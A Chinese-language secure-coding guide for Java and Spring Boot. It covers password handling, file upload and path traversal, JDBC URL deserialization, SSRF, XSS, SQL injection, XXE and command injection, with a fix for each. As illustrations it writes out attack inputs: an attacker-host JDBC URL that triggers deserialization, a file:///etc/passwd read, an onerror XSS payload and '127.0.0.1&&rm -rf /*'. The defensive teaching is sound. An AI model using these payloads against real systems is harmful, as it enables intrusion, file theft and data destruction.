漏洞防范
加强接口业务逻辑漏洞测试能力:
1、梳理存在敏感信息查询的API接口;
2、梳理存在用户登录、修改用户密码及带tonken交互的API接口;
3、对存在敏感信息查询的API接口进行越权查询、修改、删除等业务逻辑漏洞测试;
4、对存在用户登录及带tonken交互的API接口进行绕过登录、异步、token认证缺陷及重放等业务逻辑漏洞测试。
加强敏感参数代码权限控制访问:
1、对业务应用需要向数据库交互查询敏感信息的参数进行token校验权限制控;
2、对业务应用需要向数据库交互查询敏感信息的外部输入参数值进行加密;
3、梳理登录接口代码流程,检验tonken生成是否具备唯一标识性及随机性、时效性,要求tonken在空闲时间不能超过30分钟;
4、梳理修改用户密码接口代码流程,要求原密码验证需要与手机验证码同时校验,不能存在分步校验。
加强敏感数据泄露监测能力:
对流量安全分析进行自定义检测模型,要求具备可检查发现:
1、单个IP对单一URL,每分钟内超过人工访问的阀值(如单个IP对单一URL每分钟访问30次,设为异常行为);
2、多个代理IP对单一URL,每分钟内超过人工访问的阀值(如2个以上代理IP对单一URL每分钟访问20次,设为异常行为);
3、多个IP对单一URL,每分钟内超过人工访问的阀值(如2个以上IP对单一URL每分钟访问20次,设为异常行为)。
密码管理
配置文件中的明文密码
配置文件中的明文密码属于高危漏洞,开发人员一般会在xxx.yml或xxxx.properties中明文存储数据库、redis、mail相关配置的密码信息,在源码泄漏或主机失陷情况下,攻击者将会利用明文存储信息进行横向渗透。
通常攻击者利用任意文件下载、SSRF漏洞、或git代码泄露等等方式下载到系统源码后,可利用配置文件中的明文密码信息,进行后续攻击。
例如数据源或缓存数据库密码明文存储,攻击者在拿到明文密码后,可直接获取数据库、缓存数据库控制权。
示例:
解决方法:
springboot建议使用jasypt对配置文件中的密码信息进行加密,jasypt加密秘钥在程序运行时通过参数指定,不要存储在配置文件中,以下示例:
- 首先在pom文件中引入jasypt相关starter:
<dependency>
<groupId>com.github.ulisesbocchio</groupId>
<artifactId>jasypt-spring-boot-starter</artifactId>
<version>2.1.2</version>
</dependency>
- 对敏感数据进行加密:
使用java -cp jasypt-2.1.2.jar
org.jasypt.intf.cli.JasyptPBEStringEncryptionCLI
password={ 加密秘钥 }
algorithm={ 加密算法,默认PBEWithMD5AndDES }
input={ 数据库明文密码 }
命令生成敏感数据密文。
或在web项目之外编写测试代码生成:
import org.jasypt.util.text.BasicTextEncryptor;
public class JasyptpTest {
public static void main(String[] args) {
String input="dataBasePassword";
String password="testPassword";
BasicTextEncryptor basicTextEncryptor=new BasicTextEncryptor();
basicTextEncryptor.setPassword(password);
String encrypt = basicTextEncryptor.encrypt(input);
System.out.println(encrypt);
}
}
- 配置文件中存储加密后的密码字符串,使用格式:ENC({密文字符串})
- 加密秘钥一定不要存在配置文件中,需要在程序启动时,通过参数指定:
-Djasypt.encryptor.password={加密秘钥}
例如java --Djasypt.encryptor.password={加密秘钥} -jar demoProject.jar
硬编码密码
硬编码密码漏洞属于高危漏洞,程序代码中采用硬编码方式存储密码,将长期不会发生变动。
一方面会降低系统安全性,一旦代码泄露,将会直接另攻击者轻松获取对应权限。另一方面不易于程序维护,硬编码在代码中的密码信息,后期修改效率极低。
示例:
解决方法:
建议将代码中硬编码的密码信息加密存储在配置文件中,提升维护效率和安全性。
以下示例:
- 使用jasypt,对关键配置进行加密,存储在yml配置文件中
- 代码中使用@Value注解进行赋值
注意类上的@Component注解,以及将@Value注解标注在每个属性的set方法上。
硬编码加密秘钥
硬编码在代码中的加密key长时间不会进行改动,在代码外泄的情况下,漏洞会产生更大的危害。数据加密在开发中普遍使用,在敏感数据交互、签名校验、加密存储等功能处较为常用。
该漏洞在以下场景中,将会产生巨大危害:
- 支付系统代码外泄,攻击者利用硬编码的加密秘钥,构造支付回调数据包,欺骗服务端伪造支付成功订单。
- shiro<=1.2.4框架中rememberMe功能,硬编码cookie中rememberMe字段的加密秘钥,安全研究人员利用硬编码的加密秘钥,加密恶意java对象,构造cookie中恶意rememberMe字段,shiro再对cookie中rememberMe字段进行解密后反序列化操作时,触发java反序列化漏洞,攻击者可直接获取主机控制权。
示例:
解决方法:
对于需要长期使用的加密秘钥,建议使用jasypt对秘钥加密后,存储在配置文件中。
对于临时数据加密,无需存放进数据库中,并且仅在本次运行时使用的数据,可使用随机生成秘钥单例对象的方式,本次运行时该秘钥不变,重启后会再次随机生成。
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;
public class MySecretKeySpec {
private static SecretKeySpec secretKeySpec;
public static synchronized SecretKeySpec getSecretKeySpec() {
if (secretKeySpec == null) {
try{
KeyGenerator keyGenerator=KeyGenerator.getInstance("AES");
keyGenerator.init(128);
SecretKey secretKey = keyGenerator.generateKey();
byte[] encoded = secretKey.getEncoded();
secretKeySpec = new SecretKeySpec(encoded, "AES");
}catch (Exception e){
return null;
}
}
return secretKeySpec;
}
}
类库漏洞
一般升级新版本即可
输入验证
任意文件上传
任意文件上传,属于路径遍历漏洞的一种,Web前端用户,可上传任意类型文件到服务端任意位置,传统MVC架构项目中,可通过上传jsp文件到web目录中,达到获取主机控制权目的。
Springboot构建的jar应用中,可通过将文件上传到windows开机启动目录或linux定时任务目录,达到获取主机控制权目的。
示例:
解决方法:
防止未经检查的用户输入拼接到File路径中,同时对上传文件后缀名进行白名单校验。
- 需要白名单方式检查文件后缀名,例如仅允许用户上传.png格式数据
- 使用随机UUID对文件名重命名
// 示例代码
@ApiOperation("上传")
@PostMapping("/uploadAttachment")
public Map<String, Object> uploadAttachment(@RequestParam("picture") MultipartFile file,HttpServletRequest request) throws Exception {
// 判断文件类型是否在白名单
String strFileFullName = file.getOriginalFilename();
// 传入文件类型
String strType = strFileFullName.substring(strFileFullName.lastIndexOf(".")+1).toLowerCase();
List<String> allTypeList = Arrays.asList(allTypes.split(";"));
if (allTypeList.contains(strType)) {
// 解析图片类型的文件流查看其是否真的是图片
List<String> imageList = Arrays.asList(imageTypes.split(";"));
if (imageList.contains(strType)) {
BufferedImage bufferedImage = null;
try {
bufferedImage = ImageIO.read(file.getInputStream());
} catch (IOException e) {
System.out.println("图片解析失败!失败原因为:"+ e.getMessage());
return StuAppService.makeResult("0", "文件类型异常1", null);
}
if (bufferedImage == null) {
return StuAppService.makeResult("0", "文件类型异常2", null);
}
}
// 调用上传
return stuAppService.uploadAttachment(file, request);
}else {
return StuAppService.makeResult("0", "文件类型不符", null);
}
}
// 以下代码解析图片流查看其是否真的是图片
boolean checkImage() {
BufferedImage bufferedImage = null;
try {
bufferedImage = ImageIO.read(fileItem.getInputStream());
} catch (IOException e) {
log.error("图片解析失败!失败原因为:"+ e.getMessage());
return false;
}
if (bufferedImage == null) {
log.error("bufferedImage为空");
return false;
}
}
//# 全部的文件类型
//file.allType=dwg;doc;xls;ppt;gif;jpg;bmp;png;mp4;jpeg;txt;vdf;zip;vsd;htm;html;tif;tiff;pdf;docx;xlsx;pptx;
//# 图片的文件类型
//image.allType=png;jpg;jpeg;gif;bmp;
任意文件写入:ZIP条目覆盖
该漏洞主要出现在解压操作中,在解压用户上传的文件时,没有对压缩包内的实体文件名(zipEntry.getName()获取到的文件名)进行检查。zipEntry.getName()获取的文件名中包含/…/跨目录符号,导致压缩包内的文件被写入到主机任意位置。
示例: 获取到压缩包内Entry名后,没有做任何检查,直接拼接到File对象中。
解决方法:
获取到压缩包内entry名称后,对文件名合法性进行检查,判断文件名是否包含…跨目录字符。
在创建file对象后,调用file. getCanonicalPath方法获取文件规范路径,判断规范路径是否以预期目录开头。
String baseDir=”/tmp/data/”;
String name = zipEntry.getName();
File file=new File(baseDir+File.separator+name);
String canonicalPath = file.getCanonicalPath();
if(canonicalPath.startsWith(baseDir)){
//获取到文件的标准路径,以baseDir预期目录开头,可以直接进行保存
}else{
//获取到文件标准路径,不是以预目录开头,存在攻击行为。
}
任意文件删除
任意文件删除属于目录遍历漏洞其中的一种,攻击者通过控制File对象的路径,删除服务端非预期的文件。此漏洞利用前提也是需要前端可控的文件路径,未经任何检查,就被拼接到了File对象路径中。
示例: 从前端接收到文件名后,未经任何检查,将filename参数拼接到了File对象的路径中,fileName中可以插入…/…/符号,跳出target,删除服务端任意位置的文件。
解决方法:
路径遍历类漏洞,一般都可通过file.getCanonicalPath方法获取到规范路径,检查规范路径是否以预期目录开始,来限制前端用户仅能够删除指定目录下的文件。
任意文件下载(同上)
任意文件读取&反序列化
此漏洞是由于JDBC连接URL可控导致的漏洞,常见于后台功能,攻击者可利用此功能读取服务端任意文件,或通过反序列化漏洞获取主机控制权。
当攻击者传递恶意的Mysql服务端地址,客户端在进行JDBC连接时,触发LOAD DATA INFILE功能,导致恶意服务端会读取客户端任意位置的任意文件。
此外,BlackHat Europe 2019的议题《New Exploit Technique In Java Deserialization Attack》中提到了一个通过注入JDBC URL
实现反序列化攻击的场景:
当攻击者指定JDBCurl为:jdbc:mysql://attacker/db?queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true时客户端将会自动反序列化mysql返回的bit、binary以及blob的数据,触发反序列化漏洞。
示例: 直接使用前端传递的jdbcURL数据获取jdbc连接,没有进行任何检查。
解决方法:
此漏洞触发原因主要是由于JDBCURL前端可控,建议仅允许前端传递IP、端口、数据库名、数据库类型,对传递参数进行检查后,构造JDBCURL。检查要求如下:
IP检查:是否属于可信IP,是否属于合法IP格式,白名单方式限制。
端口:大于0并且小于65536的int类型数据。
数据库名:仅允许a-z\0-9\A-Z字符,防止在数据库名中构造jdbc连接参数。
数据库类型:白名单方式限制。
对于反序列化攻击,要求jdbcURL格式苛刻,只要JDBCURL中没有&autoDeserialize=true,便无法进行后续攻击。JDBCURL可控导致的任意文件读取漏洞目前只能通过IP白名单的方式进行限制。
越权访问
越权漏洞是由于权限验证不严谨导致,分为垂直越权和平行越权。
垂直越权:已登录的普通用户,可以访问到管理员权限才可以访问的功能。
平行越权:已登录的用户,可以访问到其他用户的私有数据。
示例:
解决方法:
对于平行越权漏洞,涉及到查询个人私有数据的功能,应当根据当前session获取当前登录用户信息,根据当前用户标识进行数据查询,以此来防止A用户通过猜解B用户身份标识越权查看B用户数据。
对于垂直越权,应对管理员功能进行限制,可在管理员功能中,对当前登录用户角色进行判断,检查是否具备对应功能的访问权限。
推荐在系统设计时,统计所有管理员功能点,在Filter中对请求URI进行匹配,当用户访问管理员功能时,判断请求用户是否具备对应权限。
服务器端请求伪造
服务器端请求伪造,简称SSRF漏洞,该漏洞主要是因为没有对前端传递的URL进行检查,直接使用可控URL建立连接。
该漏洞在java中影响有限,在没有自定义URLConnection的情况下,较为严重的漏洞场景主要是:
- 某接口中,根据request.getRemoteAddr();获取远程主机IP,当IP为127.0.0.1或loalhost时(本机访问),将不进行身份认证。攻击者可利用SSRF漏洞绕过IP访问限制。
- 程序中没有对URL请求协议进行判断,并将URLInputStream中内容返回前端,攻击者利用File协议读取服务端任意位置文件。
示例: 直接获取请求中参数,传递进URL对象中,攻击者如果传递url为:File:///etc/passwd,响应中将会回显服务端文件内容
解决方法:
限制SSRF漏洞主要有3点:
1.URL仅允许HTTP或HTTPS协议;
2.主机名在可信列表中;
3.尽可能屏蔽返回数据。
跨站脚本
存储型XSS
XSS漏洞,跨站点脚本攻击,漏洞是由于服务端将用户输入的数据未经任何过滤,输出到了页面中,导致攻击者输入的html代码被保存到数据库中,他人查看到对应数据时,数据库中的html代码渲染到浏览器,触发攻击者预设js代码执行。
例如用户的头像URL可控,最终URL信息会被展示在img标签中: <img src=”可控点”>
当攻击者指定头像url为: x” onerror=”prompt(1)
Img标签内容变为:<img src=”x” onerror=”prompt(1)”>
其他用户加载到攻击者用户头像时,将会触发onerror事件,攻击者预设的prompt函数会被执行,攻击者可通过xss漏洞,在他人浏览器中执行任意js代码。
代码注入
SQL注入
SQL注入漏洞是由于直接将用户请求参数拼接到了SQL语句中,造成SQL语义发生变化所产生的漏洞,根本原因就是参数拼接。
攻击者可利用此漏洞获取任意表中任意数据,甚至直接获取数据库增删改查控制权限。
示例: Mybatis中使用${}拼接字符串方式获取参数
解决方法:
以mybatis框架举例,mybatis中使用#{}方式接收参数,是不会产生SQL注入漏洞,但order by后,like后无法直接使用#{},like后可使用select * form table where name like concat(‘’,#{searchText},‘%’)进行预编译。
Order by后,字段名使用白名单方式进行限制,使用int类型0或1来映射asc或desc。
XML外部实体注入
XXE漏洞全称XML External Entity Injection即XML外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、内网网站扫描、发起dos等危害。
示例: 直接创建SAXReader对象,并调用了read方法。
解决方法:
禁用SAXReader对象dtd功能:
reader.setFeature(“http://apache.org/xml/features/disallow-doctype-decl”, true);
reader.setFeature(“http://xml.org/sax/features/external-parameter-entities”, false);
reader.setFeature(“http://xml.org/sax/features/external-general-entities”, false);
reader.setFeature(“http://apache.org/xml/features/nonvalidating/load-external-dtd”, false);
命令注入
一些系统允许前端传递命令执行参数,通过java.lang.Runtime.getRuntime().exec方法进行命令执行,系统预期的输入仅有命令参数,例如nmap -p 1-65535 {前端用户输入IP}。
Runtime.exec()方法通常不会执行多条命令,但如果代码中指定cmd.exe \c 或/bin/bash -c的话,攻击者将会通过&&符或管道符拼接其他命令,造成任意命令执行。
示例: 看似可控的位置只是IP参数,但攻击者可指定IP为:127.0.0.1&&rm -rf /*
利用&&达到任意命令执行的目的。
解决方法:
不建议在Web系统中,使用可控参数来控制Runtime.exec()。
如果程序必需使用Runtime.exec来执行系统命令,并且需要接收前端参数时,如果参数为固定值,建议前端接收int类型数据,来对固定参数值进行映射。
建议程序写法: